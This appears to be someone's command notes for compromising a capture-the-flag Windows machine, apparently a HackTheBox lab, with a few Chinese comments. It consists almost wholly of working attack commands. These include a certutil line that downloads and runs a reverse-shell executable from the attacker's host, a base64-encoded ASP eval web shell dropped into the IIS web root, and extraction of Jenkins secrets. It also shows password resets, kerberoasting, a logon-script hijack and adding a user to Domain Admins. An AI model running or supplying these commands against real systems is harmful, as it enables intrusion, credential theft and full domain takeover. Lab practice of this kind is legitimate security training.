nmap -p- -v  -sV -A --min-rate 10000 -Pn 10.10.11.132

80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mega Engines
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open  http    Jetty 9.4.43.v20210629
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.43.v20210629)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

curl -kv http://10.10.11.132:8080/api/python

mkdir c:\temp && certutil -urlcache -split -f http://10.10.14.3:8000/rev.exe c:\temp\rev.exe && c:\temp\rev.exe

# <%eval request("pass")%>
echo PCVldmFsIHJlcXVlc3QoInBhc3MiKSU+Cg== > C:\inetpub\wwwroot\yjh.txt && certutil -decode C:\inetpub\wwwroot\yjh.txt C:\inetpub\wwwroot\yjh.asp

type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml

certutil -encode C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret .\secret.txt && type .\secret.txt

evil-winrm -u oliver -p c1cdfun_d2434 -i 10.10.11.132

$newpass = ConvertTo-SecureString 'wuerror@123' -AsPlainText -Force
#powerview
Set-DomainUserPassword -Identity smith -AccountPassword $newpass

setspn -a MSSQLSvc/object.local:1433 object.local\maria
#确认生效
Get-DomainUser maria | Select serviceprincipalname

$pass = ConvertTo-SecureString 'wuerror@123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $pass)
Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" -Credential $Cred

.\Rubeus.exe kerberoast /creduser:object.local\smith /credpassword:wuerror@123

Set-DomainObject -Identity maria -SET @{scriptpath="C:\\temp\\cmd.ps1"}

ls \users\maria\documents > \temp\out; ls \users\maria\desktop\ > \temp\out2

copy \users\maria\desktop\Engines.xls \temp\

download c:\temp\Engines.xls /home/wuerror/Downloads/temp/object/Engines.xls

evil-winrm -i 10.10.11.132 -u maria -p 'W3llcr4ft3d_4cls'

import-module .\powerview.ps1
#成为ownner
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
#添加权限
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
#把自己加入管理员组
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'